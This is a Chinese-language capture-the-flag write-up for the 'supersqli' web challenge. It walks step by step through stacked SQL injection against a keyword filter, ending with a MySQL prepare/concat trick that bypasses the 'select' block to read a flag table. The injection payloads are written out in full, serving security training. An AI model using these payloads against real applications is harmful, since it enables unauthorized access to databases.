攻防世界-Web-supersqli
本题涉及到了堆叠注入、MySQL预编译
0x01
SQL注入的题目,按照流程来验证SQL注入漏洞。
首先输入1' and '1'='1
发现正常输出,然后输入1' and '1'='2
发现没有输出,进一步尝试联合注入,输入1' union select 1 #
结果返回了
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
可见后端过滤掉了一些SQL关键字,显然不能直接通过这些关键字进行注入。
0x02
尝试使用堆叠注入,构造:1';show databases;#
,执行成功了,返回如图:但是现在似乎不能验证当前数据库是哪个,不过也不影响我们通过
show tables
命令来列出当前数据库的表。(通过show tables from XX
可以验证现在使用的是supersqli)
0x03
提交1';show tables;#
,获取到所有表:里面有两个表:words和1919810931114514
0x04
提交1';show columns from words;#
列出words表中的字段:提交
1';show columns from `1919810931114514`;#
注意反引号发现flag字段
0x05
接下来使用MySQL的预编译来执行对1919810931114514的查询,具体构造方法如下:1';prepare pre from concat('s', 'elect * from `1919810931114514`');execute pre;#